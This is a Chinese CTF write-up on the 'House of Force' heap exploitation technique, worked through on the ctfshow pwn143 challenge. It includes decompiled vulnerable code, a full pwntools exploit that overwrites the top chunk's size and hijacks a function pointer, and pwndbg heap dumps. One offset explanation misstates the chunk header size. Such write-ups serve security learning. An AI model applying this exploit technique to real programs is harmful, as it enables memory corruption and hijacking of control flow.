house of force 原理:
核心目标: 将 Top Chunk 移动到任意可控地址,从而允许后续从该地址分配“堆块”,实现对该地址及其之后内存的任意读写。
攻击原理: 利用 malloc
在从 Top Chunk 分配内存时,仅根据用户请求的大小 nb
和当前 Top Chunk 的大小 top_size
来更新 Top Chunk 位置的机制(new_top = old_top + nb
)。通过篡改 Top Chunk 的 size
字段为一个极大值(通常是 -1
,即 0xFFFFFFFFFFFFFFFF
),并精心构造一个超大的 nb
,使得计算出的 new_top
指向攻击者期望的目标地址。
使用前提:
堆块大小控制自由: 攻击者能够申请任意大小的堆块(malloc(nb)
中的 nb
可以非常大)。
Top Chunk Size 篡改: 存在漏洞(通常是堆溢出)允许攻击者覆盖 Top Chunk 的 size
字段,将其修改为一个极大的值(例如 0xFFFFFFFFFFFFFFFF
)。
地址信息已知(通常需要):攻击者需要知道:
当前 Top Chunk 的地址 (old_top
):用于计算所需的偏移量。
目标地址 (target_addr
): 希望将 Top Chunk 移动到的地址。
特殊情况 - 仅需偏移量: 如果目标地址 (target_addr
) 本身位于堆内存区域内(例如,想要覆盖堆上的某个特定结构体或指针),那么攻击者不一定 需要知道 old_top
和 target_addr
的绝对地址。只需要知道它们之间的偏移量 (offset = target_addr - old_top
) 即可。这在某些堆布局已知或可控的场景下是可行的。
例题:
ctfshow pwn143
edit()存在漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 unsigned __int64 edit () { int v1; int v2; char buf[8 ]; char nptr[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); if ( num ) { printf ("Please enter the index:" ); read(0 , buf, 8uLL ); v1 = atoi(buf); if ( *((_QWORD *)&unk_6020A8 + 2 * v1) ) { printf ("Please enter the length of name:" ); read(0 , nptr, 8uLL ); v2 = atoi(nptr); printf ("Please enter the new name:" ); *(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * v1) + (int )read(0 , *((void **)&unk_6020A8 + 2 * v1), v2)) = 0 ; } else { puts ("Invaild index" ); } } else { puts ("Nothing here~" ); } return __readfsqword(0x28u ) ^ v5; }
这个edit函数没有检查输入长度的大小,完全由自己决定,存在堆溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 void __noreturn fffffffffffffffffffffffffffffffffflag () { int fd; char buf[104 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); fd = open("/flag" , 0 ); read(fd, buf, 0x64u LL); close(fd); printf ("%s" , buf); exit (0 ); }
存在后门函数。
所以我利用堆溢出,把top_chunk的size改成极大值,再把v4[1]的地址换成后门函数的地址就可以得到flag了,(为什么是v4[1]呢,因为
执行edit前都会执行v4[1],把v4[1]的地址换成后门函数的地址,就可以执行后门函数了)。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) p = remote('pwn.challenge.ctf.show' , 28219 ) elf = ELF('./pwn' ) flag_addr = elf.sym['fffffffffffffffffffffffffffffffffflag' ] def menu (index ): p.sendlineafter('Your choice:' , str (index)) def add (length, content ): menu(2 ) p.sendlineafter('Please enter the length:' , str (length)) p.sendlineafter('Please enter the name:' , content) def edit (index, length, content ): menu(3 ) p.sendlineafter('Please enter the index:' , str (index)) p.sendlineafter('Please enter the length of name:' , str (length)) p.sendlineafter('Please enter the new name:' , content) def delete (index ): menu(4 ) p.sendlineafter('Please enter the index:' , str (index)) def exit_prog (): menu(5 ) add(0x30 , 'chunk0' ) payload = b'A' *0x38 + p64(0xffffffffffffffff ) edit(0 , len (payload), payload) offset = -(0x60 + 0x8 + 0xf ) add(offset, 'trigger' ) add(0x10 , p64(flag_addr)*2 ) exit_prog() p.interactive()
再动调中更容易理解
add(0x30, ‘chunk0’)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x91fd000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x91fd290 Size: 0x20 (with flag bits: 0x21) //v4 Allocated chunk | PREV_INUSE Addr: 0x91fd2b0 Size: 0x40 (with flag bits: 0x41) //add(0x30, 'chunk0') Top chunk | PREV_INUSE Addr: 0x91fd2f0 Size: 0x20d10 (with flag bits: 0x20d11)
1 2 3 4 5 pwndbg> x/30gx 0x91fd290 0x91fd290: 0x0000000000000000 0x0000000000000021 0x91fd2a0: 0x0000000000400857 0x0000000000400876 0x91fd2b0: 0x0000000000000000 0x0000000000000041 0x91fd2c0: 0x000a306b6e75686 0x0000000000000000 //chunk0
1 2 3 4 5 6 7 8 9 pwndbg> telescope 0x0400857 00:0000│ 0x400857 (hello_message) ◂— push rbp //hello_message起始地址 01:0008│ 0x40085f (hello_message+8) ◂— or byte ptr [rax], al 02:0010│ 0x400867 (hello_message+16) ◂— lea rdi, [rip + 0x823] 03:0018│ 0x40086f (hello_message+24) ◂— pop rbp 04:0020│ 0x400877 (goodbye_message+1) ◂— mov rbp, rsp 05:0028│ 0x40087f (goodbye_message+9) ◂— add byte ptr [rax], al 06:0030│ 0x400887 (goodbye_message+17) ◂— pop rbp 07:0038│ 0x40088f (menu+6) ◂— cmp eax, 0x82d
1 2 3 4 5 6 7 8 9 pwndbg> telescope 0x400876 00:0000│ 0x400876 (goodbye_message) ◂— push rbp //goodbye_message起始地址 01:0008│ 0x40087e (goodbye_message+8) ◂— or byte ptr [rax], al 02:0010│ 0x400886 (goodbye_message+16) ◂— nop 03:0018│ 0x40088e (menu+5) ◂— lea edi, [rip + 0x82d] 04:0020│ 0x400896 (menu+13) ◂— 0x83e3d8d48fffffe 05:0028│ 0x40089e (menu+21) ◂— add byte ptr [rax], al 06:0030│ 0x4008a6 (menu+29) ◂— lea edi, [rip + 0x815] 07:0038│ 0x4008ae (menu+37) ◂— 0x8433d8d48fffffe
edit(0, len(payload), payload)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x91fd000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x91fd290 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x91fd2b0 Size: 0x40 (with flag bits: 0x41) Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA Addr: 0x91fd2f0 Size: 0xfffffffffffffff8 (with flag bits: 0xffffffffffffffff) //top_chunk的size改变了
由于我的libc版本较高,检查到堆溢出可能就崩掉了就无法继续了。远程可以打通
这里我就接着解释一些数据怎么来的
1 2 3 4 0x30:这个没什么要求换成其他数据也可以 0x38: 0x91fd2f0 - 0x91fd2b0 = 0x40,0x40 - 0x16(chunk0的header) + 0x08(top的pre_size) = 0x30 -(0x60 + 0x8 + 0xf):0x91fd2f0 - 0x91fd290 = 0x60,top和v4的header的距离 ,0x8 + 0xf和强制对齐有关 0x10:v4[0]和v4[1]正好0x10,换成比0x10大的数据都可以
强制对齐操作的公式是
1 nb = ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK
**req
**:用户调用 malloc(req)
时申请的数据大小(即用户需要的内存字节数)。
**SIZE_SZ
**:在 64 位系统中为 0x8
(表示 sizeof(size_t)
)。它常被理解为 chunk 头部(header)大小的一部分,但实际上,header 总大小为 2 * SIZE_SZ = 0x10
字节(包括 prev_size
和 size
字段)。
**MALLOC_ALIGN_MASK
**:在 64 位系统中为 0xf
(十六进制),对应内存对齐掩码。内存对齐要求通常是 16 字节(即 MALLOC_ALIGN = 16
),所以掩码为 16 - 1 = 15
(即 0xf
)。
**nb
**:输出的值,表示实际分配的 chunk 总大小(包括 header 和用户数据区域)。
offset = -0x77
对应 malloc
参数为 0xffffffffffffff89
对齐后实际分配大小:(0xffffffffffffff89 + 8 + 15) & ~15 = 0xffffffffffffffa0
使top chunk回退 0x60
字节